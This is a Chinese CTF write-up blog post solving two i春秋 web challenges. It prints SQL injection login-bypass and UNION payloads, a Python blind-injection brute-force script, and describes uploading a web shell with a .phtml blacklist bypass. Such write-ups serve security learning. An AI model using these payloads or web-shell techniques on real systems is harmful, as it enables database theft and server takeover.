i春秋 web 简单的招聘系统(sql注入)、ezupload(upload)

原创

H4ppyD0g 于 2020-02-29 13:07:36 发布 525 收藏

简单的招聘系统(sql注入)

登录界面可以使用万能密码登录`1' or 1=1;#`
然后再search for key模块进行注入

```
1' order by 5#
1' union select 1,2,3,4,group_concat(table_name)from information_schema.tables where table_schema=database()#
1' union select 1,2,3,4,group_concat(column_name)from information_schema.columns where table_name=flag#
1' union select 1,2,3,4,group_concat(flaag)from flag#
```

看wp，有的人是直接在登录界面进行sql盲注
`1' and (ascii(substr((select(group_concat(flaaag))from(flag)),1,1))=102)#`
上脚本

```
import requests
import string

ls = string.printable
url = "http://..."
headers = {"cookie": ""}
data = {"key": ""}

for i in range(1, 60):
 for j in ls:
  # payload ="1' and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_c
hema=database())),%d,1))=%d)#" % (i, ord(j))
  # payload = "1' and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(tabl
e_name='xx')),%d,1))=%d)#" % (i, ord(j))
  payload = "1' and (ascii(substr((select(group_concat(xx))from(xx)),%d,1))=%d)#" % (i, ord(j))
  print(payload)

  data["key"] = payload
  r = requests.post(url, headers=headers, data=data)
```

---

ezupload(upload)

可以直接上传小马，菜刀连接后在根目录里找到flag。
这么弱智的题本菜鸡还做了好长时间。

wp说是出题翻车了才这么简单。
源码中有这么一段

```
if (in_array($ext, ['php,htaccess,ini,'])) {
    die('upload failed');
}
```

正常情况应该是phtml绕过，也就是把文件名后缀改成.phtml即可。